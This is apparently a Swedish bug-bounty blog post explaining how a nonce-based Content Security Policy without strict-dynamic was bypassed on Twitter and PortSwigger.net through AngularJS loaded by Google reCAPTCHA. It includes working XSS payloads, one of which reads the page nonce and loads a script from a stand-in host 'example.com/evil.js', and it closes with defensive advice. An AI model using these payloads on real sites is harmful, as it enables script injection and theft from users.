💥 bypassa csp: när säkerhetspolicyer inte räcker till

Content Security Policy (CSP) – det låter som en vattentät säkerhetslösning, eller hur? Men som med många säkerhetsmekanismer är verkligheten mer nyanserad. Låt mig ta dig med på en resa genom CSP:s krångligheter, där vi ska utforska hur Twitter och PortSwigger.net trots sina policyer ändå kunde bli utsatta för attacker.

🔒 Grunderna: Hur CSP fungerar (och ibland inte gör det)

#

Tänk dig CSP som en strikt nattklubbsvakt med en lista över tillåtna gäster. Den bestämmer vilka skript som får köras på din webbplats genom att använda policy directives. För XSS-skydd är script-src den mest intressanta direktiven – den kontrollerar vilka JavaScript-källor som är godkända.

Det finns två huvudsakliga tillvägagångssätt:

1. Vitlistning av URL:er – “Endast dessa adresser är tillåtna”
2. Nonce-baserad – “Endast skript med rätt hemlig kod får köras”

Nonce-metoden brukar vara säkrare. Varje sidladdning genererar en unik kod (nonce) som måste finnas med i script-taggen:

<script src="säkert_skript.js" nonce="ABC123"></script>

Men här kommer problemet: Om ett legitimt skript kan skapa nya script-taggar utan nonce, har vi plötsligt en säkerhetslucka.

🐦 Hacka högt: Twitters CSP-bypass

#

Twitter hade implementerat CSP med nonce men utan strict-dynamic. Detta skapar en intressant situation där både nonce och vitlistade URL:er kontrolleras.

Genom att utnyttja Angular JS i Google Recaptcha kunde forskare kringgå skyddet:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

Men vänta – detta gav bara en begränsad XSS. Hur får vi fullständig kontroll?

🔍 Hitta den gömda nonce-värdet

#

Trots att webbläsaren döljer nonce-värdet i DOM-inspelningen, finns det fortfarande kvar och kan nås via JavaScript:

const nonce = document.querySelector("[nonce]").nonce;

Med denna kunskap kan vi uppgradera vår attack:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='
  doc=$event.target.ownerDocument;
  a=doc.defaultView.top.document.querySelector("[nonce]");
  b=doc.createElement("script");
  b.src="//example.com/evil.js";
  b.nonce=a.nonce; doc.body.appendChild(b)'>

Nu har vi fullständig XSS genom att injicera egna skript med giltig nonce!

� Bug Bounty-lektioner: PortSwigger.net

#

PortSwigger.net, skaparna av Burp Suite, visade sig ha exakt samma sårbarhet!

Deras CSP innehöll:

• Whitelist med google.com/recaptcha och gstatic.com/recaptcha
• Nonce utan strict-dynamic

💡 Varför detta är viktigt för utvecklare

#

1. strict-dynamic är din vän – Använd denna direktiv tillsammans med nonce för att undvika whitelist-relaterade problem
2. Tredjepartsbibliotek är riskfaktorer – Även Google-domäner kan innehålla farliga bibliotek
3. Nonce-värden är inte helt dolda – De kan fortfarande nås via JavaScript

🚀 Slutord: Säkerhet är en process

#

CSP är ett kraftfullt verktyg, men som vi sett krävs det mer än bara att implementera det – man måste förstå dess begränsningar och fallgropar. För bug bounty-jägare visar detta hur viktigt det är att titta på helheten snarare än enskilda komponenter.

Vad tycker du? Bör fler företag acceptera rapporter om renodlade CSP-bypassar i sina bug bounty-program? Dela dina tankar i kommentarerna!

Vill du lära dig mer om avancerade webbapplikationssäkerhetstekniker? Följ mig för fler djupdykningar i säkerhetsvärlden.